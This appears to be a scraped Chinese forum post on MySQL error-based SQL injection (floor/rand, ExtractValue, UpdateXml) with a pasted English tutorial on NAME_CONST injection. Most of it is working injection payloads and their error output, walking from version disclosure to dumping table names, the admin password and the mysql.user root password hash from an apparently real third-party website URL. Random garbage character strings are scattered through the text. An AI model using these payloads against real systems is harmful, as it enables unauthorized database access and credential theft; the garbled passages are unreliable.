mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
) T# N# G& _- |: }首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
- [" C1 ~- i# H+ WERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
( y, ~6 G0 p& v$ L8 Q例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
, E) t! h7 a, y- i! S+ Y: P: x8 }ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

1 M4 W9 l" @  c6 q: z% W
" }# e! C- \. R

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
( p7 \% N" v1 Q
Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

4 E! d4 d& d8 Y+ Qhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

/ w/ \6 Q( {" e* E
' s; [6 _+ j+ X  [2 ~" m相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

& o3 l9 A5 p+ X8 K# X! R3 x( ]Code:
NAME_CONST(DATA, VALUE)
& F8 M+ q# @0 l7 u2 y2 D" M- b$ o7 C
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
6 l4 b' t8 F6 x+ d  `7 c
SELECT NAME_CONST('TEST', 1)



' W8 u( Y  t5 h# u0 ||---------------|
|     TEST      |
2 C: ]5 h* ?2 f. f: [' L7 e6 l# ]|               |
3 [' z& E+ k  C5 z$ Y' t) y, H  _; k|---------------|
|       1       |
|               |
0 C' U9 Y) F+ v) o1 h' V& I1 P|---------------|

: i/ [2 r. p% F2 V
' ]" C/ r5 `1 ^. e# E8 M7 K- N# Z& R

. p& n6 E  x8 m3 u# vhttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables

$ P' ?$ x' [% i+ ~2 ROnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
. H% n* `7 e8 c1 B. f
, ^2 v& A4 b! PCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261


, o) U  x* y( l: V' w: C- A  [
# ~3 Z6 n4 v  F% h+ w1 s' w+ w& n% E

Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

8 }( I% s) F$ B8 p. U) ^; e7 `
VAR = Your MySQL variable.

" E4 [/ N* B6 H3 ?- B2 WMySQL 5.1.3 Server System Variables
0 d8 J- l/ k* R' }8 J+ l* [
Let's try it out on my site..

Code:
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
) l8 i7 I+ Q; _. {
Erroruplicate column name '5.0.27-community-nt'
. v# ?+ H, `5 H
5 I  L4 Y! M: f6 s9 c+ y4 l
/ U- o  Q+ j; }/ I

$ K2 \) c7 ^$ m" ]1 e* |1 Y  ^" L% h
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
1 z. T( g% A) r
0 A, P0 p7 r+ z1 Q" q' L9 v8 [Data Extraction

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--


% a( W. U% V" L* }! ?We should get a duplicate column 1 error...
$ j/ n0 u1 h$ a8 n
Code:
; F5 X$ z+ o  jhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

0 @& C' G; f4 p( Y( P% c- LErroruplicate column name '1
# w* k; r! {. |/ p

' H5 K, l( f1 W* H3 H) n- a
  S; w8 [8 r3 u4 d4 U% k
5 y  A6 W8 U1 x" t$ c  _- B4 `

6 `; ?+ M; |; s" ?- \Now let's get the tables out this bitch..

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
2 v; `; p1 g+ R, V5 Y3 y

8 R6 }7 S$ R6 h; ]Let's see if it works here, if it does, we can go on and finish the job.
9 D9 m7 d2 u  g- P; w! b, B
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

% s7 U; b8 I# j  }+ V- O& d
Erroruplicate column name 'com_admanage

& U' a6 c3 q% f$ a1 @: f) D
4 H0 d2 K  E7 V( f! P) B" L
/ w8 n- `; M/ S+ g8 ^, w3 q. i


1 U5 l" i0 Z2 Y" l, E# F0 KNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..
6 O- F' c# u5 P/ Z  `$ @
, |) m6 [& L' T; |/ g  T: gCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
0 N/ O7 W5 }- b( i/ u! Q
& G: N% x7 Q: H
So mine looks like this, and I get the duplicate column name 'Host'.

4 A* o  u( K8 X$ a- p+ aCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'





, j# f# d5 N0 w
) X% d  O( t) p3 C# qWoot, time to finish this bitch off.

Code:
1 k, ~1 p7 R( S. b+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

* z! n" P" \$ P$ D# Q0 j
9 f6 \4 q9 D; C0 {3 `6 ?6 BSo mine looks like this...

Code:
; H" J& v9 B: R% P% uhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
: }" f; K4 a/ O6 ]
/ h. r4 T& A3 I. |# c9 q3 NErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'


) Q9 w) c# y2 F. m& ]5 {; v  o* x
0 D5 n, z) [6 U

) U; }4 @$ m0 H$ Y% O
And there we have it, thanks for reading.
' s( d1 Z; U' P, o; F+ R$ A' J
5 ^" B9 `# I" g& g; v. g3 E% k